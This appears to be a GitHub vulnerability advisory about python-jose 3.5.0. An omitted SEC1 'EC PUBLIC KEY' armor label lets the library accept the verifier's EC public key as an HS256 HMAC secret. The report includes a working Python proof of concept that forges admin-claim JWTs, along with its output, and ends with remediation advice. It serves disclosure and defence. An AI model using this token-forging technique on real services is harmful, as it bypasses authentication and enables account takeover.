Repository navigation
Description
Summary
python-jose 3.5.0's HMAC algorithm-confusion guard (added to fix CVE-2024-33663) is a text-format blacklist in is_pem_format() whose _PEMS set omits the SEC1 EC PUBLIC KEY armor label. A service that verifies JWTs with an EC public key stored in SEC1 PEM form and does not pin its algorithms allowlist (the default is None) accepts a forged HS256 token whose HMAC secret is those public-key bytes. The same EC public key under SPKI PUBLIC KEY or PKCS#1 RSA PUBLIC KEY armor is correctly rejected. Because public keys are by definition not secret, an attacker who obtains the service's EC public key can forge arbitrary JWTs and impersonate its users.
Affected product and versions
- Product/package: python-jose — JWT/JWS/JWE signing and verification (https://github.com/mpdavis/python-jose)
- Tested version and pinned revision: python-jose 3.5.0 (commit
018b310ddb8b50dcfd09a0c152117835a21dd656) - Affected range: python-jose >= 3.4.0, <= 3.5.0 (suspected; not established by testing — the
_PEMSomission exists only in releases carrying the CVE-2024-33663 guard, commit12f30c8, i.e. tags 3.4.0 and 3.5.0) - Fixed version: Not established by this report.
Root cause and source references
The HMAC algorithm-confusion guard added to fix CVE-2024-33663 (commit 12f30c8) is a text-format blacklist. In jose/utils.py, is_pem_format() matches PEM armor only for the types enumerated in the _PEMS set. That set includes the PKCS#1 RSA PUBLIC KEY armor but omits the SEC1 EC PUBLIC KEY armor (it lists EC PRIVATE KEY only). An EC public key PEM written with the SEC1 EC PUBLIC KEY armor therefore returns False from is_pem_format, and it is not an SSH key, so HMACKey.__init__ (jose/backends/native.py and jose/backends/cryptography_backend.py) accepts it as an HS256 HMAC secret.
Tested upstream revisions and the faulty guard:
jose/utils.py_PEMS/is_pem_format(lines 115–140): https://github.com/mpdavis/python-jose/blob/018b310ddb8b50dcfd09a0c152117835a21dd656/jose/utils.pyHMACKey.__init__guard in the native backend (line ~39): https://github.com/mpdavis/python-jose/blob/018b310ddb8b50dcfd09a0c152117835a21dd656/jose/backends/native.pyHMACKey.__init__guard in the cryptography backend (line ~543): https://github.com/mpdavis/python-jose/blob/018b310ddb8b50dcfd09a0c152117835a21dd656/jose/backends/cryptography_backend.py
The _PEMS set reads (abridged):
_PEMS = {
b"CERTIFICATE", b"PUBLIC KEY", b"PRIVATE KEY", b"RSA PUBLIC KEY",
b"RSA PRIVATE KEY", b"EC PRIVATE KEY", b"DSA PRIVATE KEY", ...
}EC PUBLIC KEY (and DSA PUBLIC KEY) are absent.
Attack prerequisites and reachability
Entry point: jose.jwt.decode → jose.jws._verify_signature → _sig_matches_keys → jwk.construct(key, alg) → HMACKey.__init__(key, 'HS256'). The guard if is_pem_format(key) or is_ssh_key(key): raise JWKError(...) does not fire for SEC1 EC PUBLIC KEY armor.
- A service verifies JWTs with an EC public key and stores/passes it in SEC1
EC PUBLIC KEYPEM form (e.g. emitted by OpenSSL 1.xopenssl ec -puboutor olderecdsatooling; modern OpenSSL/OpenSSH/ecdsa emit SPKIPUBLIC KEY, which the guard rejects). - The application does not pin
algorithmsto an asymmetric-only allowlist (the library defaultalgorithms=Noneperforms no allowlist check), or explicitly allows HS256. - The attacker knows the public key (public keys are, by definition, not secret).
Proof of concept
Summary
The PoC loads a real EC P-256 public key (a fixed SPKI DER constant), re-wraps the same DER under three armor labels, forges an HS256 token with each PEM byte string as the HMAC secret, and calls jwt.decode(token, pem, algorithms=None). It demonstrates that the SEC1 EC PUBLIC KEY armor is accepted as an HMAC secret (the forged token verifies and returns attacker-controlled claims), while the SPKI PUBLIC KEY and PKCS#1 RSA PUBLIC KEY armors are rejected. The correct behavior is that an asymmetric public key must never be usable as an HMAC secret.
Files
sec1_ec_public_key_confusion_poc.py— standalone script (no tree modification). It requirescryptographyfor key loading and thepython-josecheckout importable onPYTHONPATH.
Environment
Isolated local checkout of python-jose 3.5.0 (git clone + git checkout 018b310ddb8b50dcfd09a0c152117835a21dd656); Python 3.14.3; native backend dependencies ecdsa, rsa, pyasn1 plus cryptography for key loading. No network, no remote service; tokens are forged and verified in-process.
Commands
git clone https://github.com/mpdavis/python-jose.git
cd python-jose
git checkout 018b310ddb8b50dcfd09a0c152117835a21dd656
python -m venv .venv && .venv/bin/pip install -e . ecdsa rsa pyasn1 cryptography
# place sec1_ec_public_key_confusion_poc.py in the checkout root, then:
.venv/bin/python sec1_ec_public_key_confusion_poc.pyPoC code
"""PoC: python-jose 3.5.0 HMAC guard bypass via SEC1 'EC PUBLIC KEY' PEM armor."""
import base64
import hashlib
import hmac
import json
from cryptography.hazmat.primitives import serialization
from jose import jwt
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def forge_token(secret: bytes, claims: dict) -> str:
header = {"alg": "HS256", "typ": "JWT"}
h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(claims, separators=(",", ":")).encode())
signing_input = f"{h}.{p}".encode()
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return f"{h}.{p}.{b64url(sig)}"
# Real EC P-256 SubjectPublicKeyInfo DER. The same DER is valid under both the
# SPKI 'PUBLIC KEY' and the SEC1 'EC PUBLIC KEY' armor labels.
SPKI_DER_B64 = ("MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2PNxfRGuoEjQeI59iq/DTaWSPdrf"
"F8k+hkJeKxK+Z0OV2hYsg1bo5+elm0CuH/Z9/XxjkVOgwp0A3XD/tuBLDw==")
der = base64.b64decode(SPKI_DER_B64)
pubkey = serialization.load_der_public_key(der)
print("Loaded public key type:", type(pubkey).__name__)
def check(label: str, armor: str) -> bool:
pem = (f"-----BEGIN {armor}-----\n" +
"\n".join(SPKI_DER_B64[i:i + 64] for i in range(0, len(SPKI_DER_B64), 64)) +
f"\n-----END {armor}-----").encode()
token = forge_token(pem, {"sub": "attacker", "admin": True})
try:
out = jwt.decode(token, pem, algorithms=None)
print(f"[{label}] {armor:>16} => ACCEPTED (vulnerable) {out}")
return True
except Exception as exc:
print(f"[{label}] {armor:>16} => REJECTED {type(exc).__name__}")
return False
if __name__ == "__main__":
print("=== python-jose 3.5.0 HMAC public-key guard (jwt.decode, algorithms=None) ===")
r_sec1 = check("SEC1 ", "EC PUBLIC KEY")
r_spki = check("SPKI ", "PUBLIC KEY")
r_pkcs1 = check("PKCS1", "RSA PUBLIC KEY")
print()
print("RESULT:", "VULNERABLE — SEC1 'EC PUBLIC KEY' PEM accepted as HMAC secret"
if r_sec1 else "not vulnerable")
print("controls (must be rejected): SPKI=%s PKCS1=%s" % (r_spki, r_pkcs1))Expected output
An asymmetric public key must never be usable as an HMAC secret. The correct behavior is that all three armor labels (SEC1 EC PUBLIC KEY, SPKI PUBLIC KEY, PKCS#1 RSA PUBLIC KEY) are rejected, and the forged HS256 token never verifies. The PoC asserts the vulnerable behavior explicitly, so its "ACCEPTED" line for SEC1 documents the failure rather than a pass.
Observed output
Loaded public key type: ECPublicKey
=== python-jose 3.5.0 HMAC public-key guard (jwt.decode, algorithms=None) ===
[SEC1 ] EC PUBLIC KEY => ACCEPTED (vulnerable) {'sub': 'attacker', 'admin': True}
[SPKI ] PUBLIC KEY => REJECTED JWKError
[PKCS1] RSA PUBLIC KEY => REJECTED JWKError
RESULT: VULNERABLE — SEC1 'EC PUBLIC KEY' PEM accepted as HMAC secret
controls (must be rejected): SPKI=False PKCS1=False
Control
The same EC public key (same SPKI DER) under two armor labels that are present in _PEMS — SPKI PUBLIC KEY and PKCS#1 RSA PUBLIC KEY — is correctly rejected by the guard (see the REJECTED JWKError lines above). This isolates the bypass to the omitted EC PUBLIC KEY armor rather than to the key material itself.
Impact and severity
CWE-327 (use of a broken or risky cryptographic algorithm) / CWE-287 (improper authentication). An attacker who obtains the service's EC public key (commonly exposed in JWKS or TLS certificates) can forge arbitrary HS256-signed JWTs that the service accepts, yielding full authentication bypass and account takeover. This is a distinct residual of the CVE-2024-33663 fix: the key is PEM-armored, so the DER-detection fix proposed for CVE-2026-85394 (PR #422) would not close it, and the open PR #430 (which requires is_pem_format in the python-ecdsa ES256 backend only) also leaves the HMACKey path open.
No CVSS estimate supplied.
Remediation
Add the missing public-key PEM armor types to _PEMS (at minimum EC PUBLIC KEY, and DSA PUBLIC KEY), and — more robustly — replace the format blacklist with key-substance validation: attempt to load the HMAC secret as an asymmetric key (PEM or DER) and reject it if it parses (as PyJWT does). Independently, require an explicit algorithms allowlist in jwt.decode.
Limitations
- Local reproduction only; no deployed service was tested.
- Requires the application to verify with a SEC1-encoded EC public key and to leave HS256 allowed (the default
algorithms=Nonedoes). - The underlying project is effectively unmaintained (no response to the June 2026 email report or the November 2026 advisory issue as of this check).
References and artifacts
Evidence files:
sec1_ec_public_key_confusion_poc.py; SHA-256c370bdc48958a57afb5920e602e6216ab2ce53a13986f491a65a9cfbf612ee17python-jose-confusion-poc-output.txt; SHA-25654a9574da94d336af341a2676ce510d590abcf2735f2d59b4d25a71a70772798
Both are small, self-contained text files (the PoC source and its captured output) and can be attached to the issue or included in the fix PR.
Disclosure and CVE status
Reporting route: public GitHub issue with a proposed fix PR. Private vulnerability reporting is disabled on this repository and no SECURITY.md publishes a security email; the algorithm-confusion weakness is already public via CVE-2024-33663 and CVE-2026-85394 (issue #414), so this SEC1 residual adds little incremental disclosure risk. No CVE is requested (the residual is expected to be folded into the existing CVE-2026-85394). CVE status is not_requested; assignment is an external outcome.
Activity